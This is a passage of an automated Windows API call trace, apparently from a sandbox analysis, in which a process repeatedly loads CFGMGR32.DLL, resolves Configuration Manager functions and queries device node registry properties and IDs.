plcLogConf=0x2dc22fd3e8, dnDevInst=0x13, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0195.441] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x30427abf, dwHighDateTime=0x1d9eb0c)) [0195.441] SetEvent (hEvent=0x248) returned 1 [0195.444] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.444] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.448] malloc (_Size=0x18) returned 0x20abc281c20 [0195.448] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0195.448] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30427abf, dwHighDateTime=0x1d9eb0c)) [0195.448] SetEvent (hEvent=0x248) returned 1 [0195.453] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.453] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.456] malloc (_Size=0x18) returned 0x20abc281e80 [0195.456] CM_Get_Device_IDA (in: dnDevInst=0x14, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0C01\\2&DABA3FF&0") returned 0x0 [0195.456] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3044dd39, dwHighDateTime=0x1d9eb0c)) [0195.457] SetEvent (hEvent=0x248) returned 1 [0195.460] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.460] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.464] malloc (_Size=0x18) returned 0x20abc282000 [0195.464] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.464] malloc (_Size=0x5a) returned 0x20abc2807d0 [0195.464] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0195.465] free (_Block=0x20abc2807d0) [0195.465] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3044dd39, dwHighDateTime=0x1d9eb0c)) [0195.465] SetEvent (hEvent=0x248) returned 1 [0195.467] malloc (_Size=0x18) returned 0x20abc281d20 [0195.467] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0195.468] free (_Block=0x20abc281d20) [0195.468] malloc (_Size=0x18) returned 0x20abc281a40 [0195.468] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0195.468] free (_Block=0x20abc281a40) [0195.468] malloc (_Size=0x18) returned 0x20abc281fa0 [0195.468] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0195.468] free (_Block=0x20abc281fa0) [0195.468] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c570 [0195.468] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0195.468] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.468] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.468] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.468] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0195.468] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.468] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0195.469] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.469] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93690, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.533] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93698, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.533] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba936a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.534] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.534] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c570) returned 1 [0195.535] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.535] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.539] malloc (_Size=0x18) returned 0x20abc281a00 [0195.539] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0195.539] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3050c5c7, dwHighDateTime=0x1d9eb0c)) [0195.540] SetEvent (hEvent=0x248) returned 1 [0195.542] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.542] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.550] malloc (_Size=0x18) returned 0x20abc282000 [0195.550] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.555] malloc (_Size=0x48) returned 0x20abc2a85a0 [0195.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x305329f1, dwHighDateTime=0x1d9eb0c)) [0195.556] SetEvent (hEvent=0x248) returned 1 [0195.565] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.565] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.569] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.574] malloc (_Size=0x18) returned 0x20abc281fe0 [0195.574] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.574] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30558cc2, dwHighDateTime=0x1d9eb0c)) [0195.575] SetEvent (hEvent=0x248) returned 1 [0195.631] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.631] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.635] malloc (_Size=0x18) returned 0x20abc281e60 [0195.635] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.636] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x305f152e, dwHighDateTime=0x1d9eb0c)) [0195.636] SetEvent (hEvent=0x248) returned 1 [0195.639] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.639] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.640] GetProcAddress (hModule=0x7ffb1ced0000, 